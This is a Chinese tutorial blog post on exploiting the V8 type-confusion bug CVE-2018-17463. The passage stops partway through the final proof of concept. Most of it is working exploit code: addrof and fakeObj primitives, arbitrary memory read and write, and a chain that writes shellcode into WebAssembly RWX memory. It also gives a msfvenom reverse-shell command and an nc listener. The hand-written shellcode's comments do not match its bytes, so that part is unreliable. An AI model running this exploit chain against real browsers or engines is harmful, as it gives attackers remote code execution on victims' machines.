这是我根据我的前文CVE-2018-17463复现 - 掘金进行的一次详细一点的一次v8入门向利用过程,虽然我也是小白且复现近期的cve也屡屡失败,但不止一人咨询我远古cve复现问题,故写个复现过程供大家参考。
本篇将带你完整走完一次典型的 JavaScript 引擎漏洞利用流程:
- ✅ 验证漏洞是否存在
- ✅ 构造任意读原语(
addrof
) - ✅ 实现任意写原语(
fakeobj
) - ✅ 泄露关键内存地址
- ✅ 利用 WebAssembly 分配可执行内存
- ✅ 写入 Shellcode 并触发反向 Shell 连接
整个过程基于 Google V8 引擎中的类型混淆漏洞 CVE-2018-17463,代码是我和大模型人机协作写的,话是纯AI根据我口水话改的,话可能比较有人机感。
一、漏洞背景:什么是 CVE-2018-17463?
CVE-2018-17463 是 Google V8 JavaScript 引擎中存在的一处类型混淆(Type Confusion)漏洞,属于 JIT 编译器优化过程中因状态同步缺失导致的安全问题。
漏洞成因简析
V8 在处理对象属性时会根据属性数量和使用模式动态切换存储方式:
存储模式 | 特点 |
---|---|
Fast Properties(快速属性) | 属性以固定偏移量存储在对象体内,访问高效 |
Dictionary Properties(字典属性) | 当对象频繁增删属性或属性过多时,转为哈希表结构存储 |
而 TurboFan 作为 V8 的优化编译器,在 JIT 编译阶段会对属性访问进行"硬编码"优化 ------ 即假设某个属性始终位于固定的内存偏移处。
但当对象在运行时由 Fast 转为 Dictionary 模式后,其内部布局发生变化,TurboFan 却未能正确感知这一变化,导致 CheckMaps
节点被错误地优化掉,从而引发类型混淆。
这使得原本应读取某个浮点数的位置,可能意外读到了另一个对象的指针,进而造成信息泄露甚至任意内存读写。
二、利用思路总览
该漏洞的核心危害在于:
- 可通过类型混淆构造出 任意读写原语
- 结合旧版 V8 中 WebAssembly 默认分配 RWX 内存 的特性
- 最终实现 任意代码执行(RCE)
我们将其拆解为四个阶段:
text
[1] 漏洞验证 → [2] 地址泄露 → [3] 任意读写 → [4] 执行 shellcode
接下来我们将一步步实现上述目标。
三、第一步:验证漏洞是否存在
我们要做的第一件事是确认当前环境(如 d8 或 Chrome)是否受此漏洞影响。
原理回顾
当对象经过 Object.create()
后,其隐藏类(Map)可能从 Fast 切换到 Dictionary 模式。如果 TurboFan 已经对该对象的属性访问做了偏移固化优化,此时仍按旧偏移读取数据,就会读到错误内容。
我们编写一个简单的测试函数来检测这种异常行为:
js
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_test2.js
// gdb /root/v8/v8/out/x64.debug/d8
// set args --allow-natives-syntax /root/script_v8/cve201817463_test2.js
// r
function create(){
var obj = {a:123};
for(let i = 0;i<30;i++){
eval(`obj.${'b'+i} = 456-i`);
// obj['b' + i] = 456 - i;
// obj[`b${i}`] = 456 - i;
}
return obj;
}
let obj_array=[];
/*function triggerVul(obj){
obj.a;
this.Object.create(obj);
eval(`
${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}
`);
}*/
function find(){
for (let i = 0;i<40;i++){
obj_array[i] = 'b'+i;
}
eval(`
function triggerVul(obj){
obj.a;
this.Object.create(obj);
${obj_array.map(
(b) => `let ${b} = obj.${b};`
).join('\n')}
return [${obj_array.join(', ')}];
}
`);
for(let i = 0;i<10000;i++){
let obj = create();
let array = triggerVul(obj);
for(let j = 0;j<array.length;j++){
if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){
console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));
return ['b'+j , 'b' + (456-array[j])];
}
}
}
}
find();
四、第二步:构造任意读原语(Address Leak)并验证
一旦确认漏洞存在,下一步就是利用它来泄露对象的真实内存地址。
思路解析
我们构造两个重叠的属性字段 b_p1
和 b_p2
,它们实际共享同一块内存空间。然后:
- 让
b_p1
是一个包含浮点数的对象{x1: 1.1}
- 让
b_p2
是一个包含目标对象引用的{y: target_obj}
由于类型混淆,JIT 仍认为 b_p1.x1
是 double 类型,但实际上这块内存现在存放的是指向 target_obj
的指针!
于是当我们读取 b_p1.x1
时,得到的是一个"伪装成浮点数"的指针值。通过 Float64Array
和 Uint32Array
的视图转换,即可还原出完整的 64 位地址。
js
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_addressof.js
// gdb /root/v8/v8/out/x64.debug/d8
// set args --allow-natives-syntax /root/script_v8/cve201817463_addressof.js
// r
// 1.构造对象并诱导 JIT 编译:创建结构相同的对象并反复调用某函数,让编译器假设某个属性始终是浮点数。
// 2.触发类型混淆:在编译后修改该属性为对象引用,但 JIT 代码仍按浮点数读取,导致指针被当成 double 值输出。
// 3.提取地址值:将这个"浮点数"存入 Float64Array,再通过 Uint32Array 视图拆解出高低位,拼接成完整的 64 位地址。
// 4.验证与利用:确认泄露地址合理(如指向 Wasm 函数),为后续任意读写和代码执行做准备。
var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var i32 = new Uint32Array(buf);
function f_to_i(target) {
f64[0] = target;
let tmp = Array.from(i32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i_to_f(target) {
let tmp = [];
tmp[0] = parseInt(target % 0x100000000);
tmp[1] = parseInt((target - tmp[0]) / 0x100000000);
i32.set(tmp);
return f64[0];
}
function hex(target) {
return "0x" + target.toString(16).padStart(16, "0");
}
function create() {
var obj = { a: 123 };
for (let i = 0; i < 30; i++) {
eval(`obj.${'b' + i} = 456 - i`);
}
return obj;
}
let obj_array = [];
function find() {
for (let i = 0; i < 40; i++) {
obj_array[i] = 'b' + i;
}
eval(`
function triggerVul(obj) {
obj.a;
this.Object.create(obj);
${obj_array.map((b) => `let ${b} = obj.${b};`).join('\n')}
return [${obj_array.join(', ')}];
}
`);
for (let i = 0; i < 10000; i++) {
let obj = create();
let array = triggerVul(obj);
for (let j = 0; j < array.length; j++) {
if (array[j] !== 456 - j && array[j] < 456 && array[j] > (456 - 39)) {
console.log("\x1b[1;32m[*] Found two corrupted properties: \x1b[0m" + 'b' + j + " and b" + (456 - array[j]));
return ['b' + j, 'b' + (456 - array[j])];
}
}
}
throw new Error("Exploit failed at find()");
}
let C1 = 0;
let C2 = 0;
function leak_obj_create(target) {
var obj = { a: 123 };
for (let i = 0; i < 30; i++) {
if ('b' + i !== C1 && 'b' + i !== C2) {
eval(`obj.${'b' + i} = 1.1;`);
} else if ('b' + i === C1) {
eval(`obj.${C1} = {c10: 1.1, c11: 2.2};`);
} else if ('b' + i === C2) {
eval(`obj.${C2} = {c20: target};`);
}
}
return obj;
}
function leak(target) {
eval(`
function triggerVul(target) {
target.a;
this.Object.create(target);
return target.${C1}.c10;
}
`);
for (let i = 0; i < 10000; i++) {
var obj = leak_obj_create(target);
var leak_val = triggerVul(obj);
if (leak_val !== 1.1 && leak_val !== undefined) {
let addr = f_to_i(leak_val);
console.log("\x1b[1;32m[*] Successfully leaked target address: \x1b[0m" + hex(addr));
return addr;
}
}
throw new Error("Leak failed: could not extract address");
}
[C1, C2] = find();
console.log(`\x1b[1;34m[*] Chosen corruption indices: C1=${C1}, C2=${C2}\x1b[0m`);
// 创建 Wasm 实例
var wasmCode = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114,121, 2, 0, 4, 109, 97,
105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
65, 42, 11
]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_func = wasmInstance.exports.main;
console.log("\x1b[1;36m[*] Wasm function created at:\x1b[0m", wasm_func);
// ==================== 开始泄露 wasm_func 地址 ====================
console.log("\x1b[1;35m[*] Starting leak phase...\x1b[0m");
// 在 JavaScript 引擎(如 V8)中,你无法通过 JavaScript 代码直接获取一个对象(包括函数)在堆内存中的真实地址。
// 对象存在于 V8 的堆上,其真实地址由 V8 内存管理器分配,对 JS 层完全隐藏。
// 将 wasmInstance.exports.main 作为属性值放入 JavaScript 对象时,放入的是该函数的一个引用(reference),一个指向实际堆内存中函数对象的指针。
// 代码错误地把这个存储对象指针的位置当作一个 double 类型来读取
// 本应该被保护的指针值即真实地址被直接当作浮点数返回给了 JS 层
var wasm_addr = leak(wasm_func);
if (!wasm_addr || wasm_addr === 0) {
throw new Error("Invalid leaked address");
}
// ==================== ✅ 泄露完成:插入调试暂停点 ====================
console.log("\x1b[1;32m[+] Leak successful!\x1b[0m");
console.log(` Leaked wasm_func address: ${hex(wasm_addr)}`);
%DebugPrint(wasm_func);
%SystemBreak();
五、第三步:实现任意写原语(Arbitrary Write)并验证
有了任意读还不够,真正的控制力来自于任意写。
核心思想:属性重叠 + fakeobj
继续利用前面发现的属性重叠机制:
b_p1
指向一个对象 A:{x1: 1.1, x2: 1.2}
b_p2
指向一个 ArrayBuffer B
我们让 JIT 认为 A.x2
是一个浮点数,并允许我们修改它的值。但由于内存重叠,修改 A.x2
实际上会覆盖 ArrayBuffer B 的 backing store 指针!
这意味着我们可以把 ArrayBuffer 的数据指针"伪造"到任意地址 ------ 比如另一个对象的起始位置。
js
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_addresswrite.js
// gdb /root/v8/v8/out/x64.debug/d8
// set args --allow-natives-syntax /root/script_v8/cve201817463_addresswrite.js
// r
// 验证任意写
// 在 V8 引擎中,对象的属性按隐藏类(Map)统一布局存储。通过漏洞让 JIT 编译器误判某个属性为浮点数,
// 而实际存入的是另一个对象的引用,会造成两个属性字段指向同一内存位置。
// 利用这一点,可以让 obj.C1.c10 和 obj.C2.c20 实际共享同一块内存(即"重叠")。
// 当后续修改 c10 下的某个字段时,实际上修改的是 c20 所指向目标对象的内部字段。
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_fixed.js
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_fixed.js
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/test_arbitrary_write.js
// gdb /root/v8/v8/out/x64.debug/d8
// set args --allow-natives-syntax /root/script_v8/test_arbitrary_write.js
// r
var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var i32 = new Uint32Array(buf);
function f_to_i(target) {
f64[0] = target;
let tmp = Array.from(i32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i_to_f(target) {
let tmp = [];
tmp[0] = parseInt(target % 0x100000000);
tmp[1] = parseInt((target - tmp[0]) / 0x100000000);
i32.set(tmp);
return f64[0];
}
function hex(target) {
return "0x" + target.toString(16).padStart(16, "0");
}
function gc() {
for (var i = 0; i < ((1024 * 1024) / 0x10); i++) {
var a = new String();
}
}
function give_me_a_clean_newspace() {
gc();
gc();
}
// ========== 创建对象的辅助函数 ==========
function getObj(values) {
let obj = { a: 1234 };
for (let i = 0; i < 32; i++) {
Object.defineProperty(obj, 'b' + i, {
writable: true,
value: values[i]
});
}
return obj;
}
let p1, p2;
// ========== 查找重叠属性 ==========
function findOverlapping() {
let names = [];
for (let i = 0; i < 32; i++) {
names[i] = 'b' + i;
}
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
${names.map((b) => `let ${b} = obj.${b};`).join('\n')}
return [${names.join(', ')}];
}
`);
let values = [];
for (let i = 1; i < 32; i++) {
values[i] = -i;
}
for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
for (let i = 1; i < res.length; i++) {
if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
[p1, p2] = [i, -res[i]];
console.log(`\x1b[1;32m[*] Found overlapping properties: b${p1} and b${p2}\x1b[0m`);
return;
}
}
}
throw "[!] Failed to find overlapping";
}
// ========== addrof原语:获取对象地址 ==========
function addrof(obj) {
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
return obj.b${p1}.x1;
}
`);
let values = [];
values[p1] = { x1: 1.1, x2: 1.2 };
values[p2] = { y: obj };
for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
if (res != 1.1) {
let addr = f_to_i(res);
console.log(`\x1b[1;32m[*] Object address leaked: ${hex(addr)}\x1b[0m`);
return res;
}
}
throw "[!] addrof failed";
}
// ========== fakeObj原语:实现任意写 ==========
function fakeObj(obj, addr) {
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
let orig = obj.b${p1}.x2;
obj.b${p1}.x2 = ${addr};
return orig;
}
`);
let values = [];
let o = { x1: 1.1, x2: 1.2 };
values[p1] = o;
values[p2] = obj;
for (let i = 0; i < 10000; i++) {
o.x2 = 1.2;
let res = vuln(getObj(values));
if (res != 1.2) {
console.log("\x1b[1;32m[*] fakeObj executed successfully\x1b[0m");
return res;
}
}
throw "[!] fakeObj failed";
}
// ==================== 主测试流程 ====================
console.log("\x1b[1;36m[+] Step 1: Finding overlapping properties...\x1b[0m");
findOverlapping();
console.log("\x1b[1;36m[+] Step 2: Creating target objects...\x1b[0m");
// 创建一个ArrayBuffer作为我们的"任意写"工具
let buffer = new ArrayBuffer(1024);
let dv = new DataView(buffer);
// 创建一个测试对象,我们将修改它的某个属性
let testObj = {
magic1: 0x1111111111111111,
magic2: 0x2222222222222222,
magic3: 0x3333333333333333,
target: 0x4444444444444444 // 这是我们要修改的目标字段
};
give_me_a_clean_newspace();
console.log("\x1b[1;36m[+] Step 3: Before write - printing testObj...\x1b[0m");
console.log("testObj.target = 0x" + testObj.target.toString(16));
%DebugPrint(testObj);
console.log("\x1b[1;36m[+] Step 4: Getting testObj address...\x1b[0m");
let testObj_addr = addrof(testObj);
let testObj_addr_int = f_to_i(testObj_addr);
console.log(`testObj address: ${hex(testObj_addr_int)}`);
console.log("\x1b[1;36m[+] Step 5: Faking buffer to point to testObj...\x1b[0m");
// 将buffer的backing store指针修改为testObj的地址
// 这样我们就可以通过DataView直接读写testObj的内存
fakeObj(buffer, testObj_addr);
console.log("\x1b[1;36m[+] Step 6: Reading testObj's memory layout...\x1b[0m");
// 读取对象内存布局(前几个qword通常是Map、Properties等元数据)
console.log("Memory dump of testObj (first 128 bytes):");
for (let i = 0; i < 16; i++) {
let offset = i * 8;
let value = dv.getFloat64(offset, true);
let value_int = f_to_i(value);
console.log(` [+${offset.toString().padStart(3, '0')}]: ${hex(value_int)}`);
}
console.log("\x1b[1;36m[+] Step 7: Writing magic value to testObj...\x1b[0m");
// 在V8中,对象的属性通常存储在对象本身后面
// 我们尝试在偏移0x20处写入一个魔术值
let write_offset = 0x20; // 根据实际对象布局调整
let magic_value = 0xdeadbeefcafebabe;
console.log(`Writing 0x${magic_value.toString(16)} to offset ${write_offset}...`);
dv.setFloat64(write_offset, i_to_f(magic_value), true);
console.log("\x1b[1;36m[+] Step 8: Verifying the write...\x1b[0m");
// 重新读取该位置
let read_back = f_to_i(dv.getFloat64(write_offset, true));
console.log(`Read back value: ${hex(read_back)}`);
if (read_back === magic_value) {
console.log("\x1b[1;32m[✓] Arbitrary write SUCCESS!\x1b[0m");
} else {
console.log("\x1b[1;31m[✗] Write verification failed!\x1b[0m");
}
console.log("\x1b[1;36m[+] Step 9: After write - printing testObj again...\x1b[0m");
%DebugPrint(testObj);
console.log("\x1b[1;36m[+] Step 10: Writing to another location...\x1b[0m");
// 再写入另一个位置作为额外验证
let write_offset2 = 0x28;
let magic_value2 = 0x1337133713371337;
console.log(`Writing 0x${magic_value2.toString(16)} to offset ${write_offset2}...`);
dv.setFloat64(write_offset2, i_to_f(magic_value2), true);
let read_back2 = f_to_i(dv.getFloat64(write_offset2, true));
console.log(`Read back value: ${hex(read_back2)}`);
console.log("\x1b[1;36m[+] Step 11: Memory dump after writes...\x1b[0m");
for (let i = 0; i < 16; i++) {
let offset = i * 8;
let value = dv.getFloat64(offset, true);
let value_int = f_to_i(value);
let marker = (offset === write_offset || offset === write_offset2) ? " <-- WRITTEN" : "";
console.log(` [+${offset.toString().padStart(3, '0')}]: ${hex(value_int)}${marker}`);
}
console.log("\x1b[1;35m[+] Breaking for GDB inspection...\x1b[0m");
console.log("In GDB, you can verify with:");
console.log(` x/32gx ${hex(testObj_addr_int)}`);
console.log(` x/gx ${hex(testObj_addr_int + write_offset)}`);
console.log(` x/gx ${hex(testObj_addr_int + write_offset2)}`);
%SystemBreak();
// # 查看testObj的完整内存布局
// x/32gx [打印出的testObj地址]
// # 检查写入的魔术值
// x/gx [testObj地址 + 0x20]
// x/gx [testObj地址 + 0x28]
// 预期输出
// 偏移0x20应该包含:0xdeadbeefcafebabe
// 偏移0x28应该包含:0x1337133713371337
六、第四步:实现任意代码执行(Reverse Shell)
现在我们已经具备:
- ✅ 任意地址读写
- ✅ 可控的内存布局
- ✅ 可预测的对象偏移
接下来只需结合 WebAssembly 的历史特性,即可完成最终提权。
WebAssembly 的"黄金时代"
在较早版本的 V8 中,创建 WebAssembly 模块会自动分配一块 RWX(可读、可写、可执行)内存页,用于存放编译后的 WASM 函数体。
这个特性曾被广泛用于漏洞利用链中,因为:
- 我们可以通过
addrof
泄露WebAssembly.Instance
的地址 - 其内部偏移
+0xf0
处保存着 RWX 内存的起始地址 - 使用
fakeObj
将 ArrayBuffer 指向该区域 - 向其中写入 Shellcode
- 调用 WASM 导出函数即可执行我们的代码!
⚠️ 注意:现代 V8 已禁用默认 RWX 分配,启用 CodeRange 等防护机制,因此该方法主要适用于特定历史版本。
七、完整 POC:反弹 Shell 实战
最后一步,我们将所有原语串联起来,打造一个完整的攻击载荷,实现 Linux 下的反向 Shell 连接和使用浏览器去触发漏洞。
攻击流程概览
text
1. 创建 WASM 实例 → 获取 RWX 内存
2. findOverlapping() → 找到可用于混淆的属性对
3. addrof(wasmInstance) → 泄露实例地址
4. fakeObj(mem, wasm_addr) → 控制 ArrayBuffer 指向实例
5. 读取 offset 0xf0 → 得到 RWX 页面地址
6. 再次 fakeObj → 将 mem 指向 RWX 区域
7. 写入 Shellcode(msfvenom 生成)
8. 调用 f() → 触发执行,反弹 Shell
Shellcode 注入细节
我们采用标准的 x64 Linux 反弹 Shell 汇编逻辑:
- 调用
socket(AF_INET, SOCK_STREAM, 0)
- 连接到指定 IP:PORT
- 使用
dup2
将 socket 绑定到 stdin/stdout/stderr - 执行
/bin/sh
Shellcode 可通过如下命令生成:
bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1991 -f hex
然后将其转换为字节数组注入 RWX 内存。
成功标志
当你看到终端输出 [+] GetShell
并且监听端口收到连接时,恭喜你 ------ 成功完成了从浏览器引擎漏洞到系统级权限获取的全过程!
bash
nc -lvnp 1991
# 收到 shell 连接
connect to [127.0.0.1] from localhost [127.0.0.1] 12345
whoami
> attacker
POC代码:
python
// /root/v8/v8/out/x64.debug/d8 /root/script_v8/cve201817463.js
function gc() {
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for (var i = 0; i < ((1024 * 1024) / 0x10); i++) {
var a = new String();
}
}
function give_me_a_clean_newspace() {
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}
let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);
Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};
BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i + 16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function () {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function (type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function (type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function () {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function () {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function () {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function (i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function () {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function () {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function (d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
function log(x, y = ' ') {
print("[+] log:", x, y);
}
// =================== //
// Start here! //
// =================== //
function check_vul() {
function vuln(x) {
x.a;
Object.create(x);
return x.b;
}
for (let i = 0; i < 10000; i++) {
let x = { a: 0x1234 };
x.b = 0x5678;
let res = vuln(x);
if (res != 0x5678) {
log("CVE-2018-17463 exists in the d8");
return;
}
}
throw "bad d8 version";
}
function getObj(values) {
let obj = { a: 1234 };
for (let i = 0; i < 32; i++) {
Object.defineProperty(obj, 'b' + i, {
writable: true,
value: values[i]
});
}
return obj;
}
let p1, p2;
function findOverlapping() {
let names = [];
for (let i = 0; i < 32; i++) {
names[i] = 'b' + i;
}
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
${names.map((b) => `let ${b} = obj.${b};`).join('\n')}
return [${names.join(', ')}];
}
`)
let values = [];
for (let i = 1; i < 32; i++) {
values[i] = -i;
}
for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
for (let i = 1; i < res.length; i++) {
if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
[p1, p2] = [i, -res[i]];
return;
}
}
}
throw "[!] Failed to find overlapping";
}
function addrof(obj) {
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
return obj.b${p1}.x1;
}
`);
let values = [];
values[p1] = { x1: 1.1, x2: 1.2 };
values[p2] = { y: obj };
for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
if (res != 1.1) {
print(`[+] Object Address: ${Int64.fromDouble(res).toString()}`);
return res;
}
}
throw "[!] AddrOf Primitive Failed"
}
function fakeObj(obj, addr) {
eval(`
function vuln(obj) {
obj.a;
this.Object.create(obj);
let orig = obj.b${p1}.x2;
obj.b${p1}.x2 = ${addr};
return orig;
}
`);
let values = [];
let o = { x1: 1.1, x2: 1.2 };
values[p1] = o;
values[p2] = obj;
for (let i = 0; i < 10000; i++) {
o.x2 = 1.2;
let res = vuln(getObj(values));
if (res != 1.2) {
return res;
}
}
throw "[!] fakeObj Primitive Failed"
}
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
print("[+] check whether vulnerability exists");
check_vul();
print("[+] Finding Overlapping Properties...");
findOverlapping();
print(`[+] Properties b${p1} and b${p2} overlap!`);
let mem = new ArrayBuffer(1024);
let dv = new DataView(mem);
give_me_a_clean_newspace();
print("[+] get address of RWX Page");
let addr = addrof(wasmInstance);
fakeObj(mem, addr);
let code_addr = Int64.fromDouble(dv.getFloat64(0xf0 - 1, true));
print(`[+] rwx addr: ${code_addr}`);
fakeObj(mem, code_addr.asDouble());
print("[+] write shellcode");
// let shellcode = [
// 0x2fbb485299583b6an,
// 0x5368732f6e69622fn,
// 0x050f5e5457525f54n
// ];
function generateReverseShellcode(ip, port) {
// 将IP地址转换 127.0.0.1 -> 0x0100007f (小端序存储)
let ipParts = ip.split('.').map(x => parseInt(x));
let ipDword = (ipParts[0]) | (ipParts[1] << 8) | (ipParts[2] << 16) | (ipParts[3] << 24);
// 端口转换为网络字节序 1991 -> 0xc707
let portWord = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8);
console.log(` IP bytes: ${ipParts.join('.')} -> 0x${ipDword.toString(16).padStart(8, '0')}`);
console.log(` Port: ${port} -> 0x${portWord.toString(16).padStart(4, '0')} (network byte order)`);
// 标准的 reverse shell shellcode (手工汇编)
// 使用 msfvenom 风格的 shellcode 结构
let shellcode = [];
// 将 sockaddr_in 结构的数据编码到指令中
// sockaddr.sin_family = AF_INET (2)
// sockaddr.sin_port = port (network order)
// sockaddr.sin_addr = ip
let sock_data_high = 0x0002n | (BigInt(portWord) << 16n); // family + port
let sock_data_low = BigInt(ipDword); // IP address
console.log(` sockaddr high: 0x${sock_data_high.toString(16)}`);
console.log(` sockaddr low: 0x${sock_data_low.toString(16)}`);
// socket(2, 1, 0) - 创建TCP socket
shellcode.push(0x5e6a5f016a5f026an); // push 0x2; pop rdi; push 0x1; pop rsi; push 0x6; pop rax
shellcode.push(0x0002050f58050f99n); // cdq; syscall; xchg rdi,rax; syscall
// 准备 sockaddr_in 结构
shellcode.push(0x0000000000000000n); // push 0 (padding)
shellcode.push(sock_data_low); // push IP
shellcode.push(sock_data_high << 32n); // push port+family
// connect(sock, &sockaddr, 16)
shellcode.push(0x5e545f106a2a6a00n); // push 0x2a; pop rax; push 0x10; pop rdx; push rsp; pop rsi
shellcode.push(0x026a050f00000000n); // syscall; push 0x2; (dup2 prep)
// dup2 loop (fd 2,1,0)
shellcode.push(0x050f5e01485f0000n); // pop rdi; dec rdi; pop rsi; syscall
shellcode.push(0x050f5e014875f600n); // jne loop; dec rdi; pop rsi; syscall
